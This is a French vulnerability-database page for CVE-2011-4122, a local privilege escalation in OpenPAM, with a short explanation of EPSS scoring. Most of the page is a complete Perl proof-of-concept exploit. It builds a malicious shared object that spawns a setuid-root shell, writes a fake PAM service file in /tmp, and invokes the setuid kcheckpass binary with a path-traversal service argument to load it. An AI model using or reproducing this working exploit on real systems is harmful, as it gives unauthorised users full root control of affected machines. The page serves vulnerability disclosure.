CVE-2011-4122 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

source: https://www.securityfocus.com/bid/50607/info OpenPAM is prone to a local privilege-escalation vulnerability. Local attackers may exploit this issue to execute arbitrary code with superuser privileges. Successfully exploiting this issue will result in the complete compromise of affected computers. #!/usr/bin/perl # kcheckpass invoking pam_start() with user provided # service argument, what a bad idea. OpenPAM accepts that. # Maybe this pam_start() vulnerability is exploitable via # other vectors as well. # Vuln tested on a FreeBSD 8.1. It does not affect # Linux PAM, as it is checking for / character # (C) 2011 by some dude, meant as a PoC! Only use on your own # machine and on your own risk!!! # # This commit is likely to fix the bug: # http://trac.des.no/openpam/changeset/478/trunk/lib/openpam_configure.c # my $kcheckpass = "/usr/local/kde4/lib/kde4/libexec/kcheckpass"; # build suid shell open(O,">/tmp/slam.c") or die $!; print O<<EOC; #include <stdio.h> #include <unistd.h> void __attribute__((constructor)) init() { char *a[] = {"/bin/sh", NULL}; setuid(0); execve(*a, a, NULL); } EOC close(O); # build fake pam module system("gcc -fPIC -Wall -c /tmp/slam.c -o /tmp/slam.o;gcc -shared -o /tmp/slam.so /tmp/slam.o"); # build fake PAM service file open(O,">/tmp/pamslam") or die $!; print O<<EOP; auth sufficient /tmp/slam.so EOP close(O); print "We need more Elchsalami! Happy birthday dude!\n"; exec("$kcheckpass -c ../../../tmp/pamslam -m classic");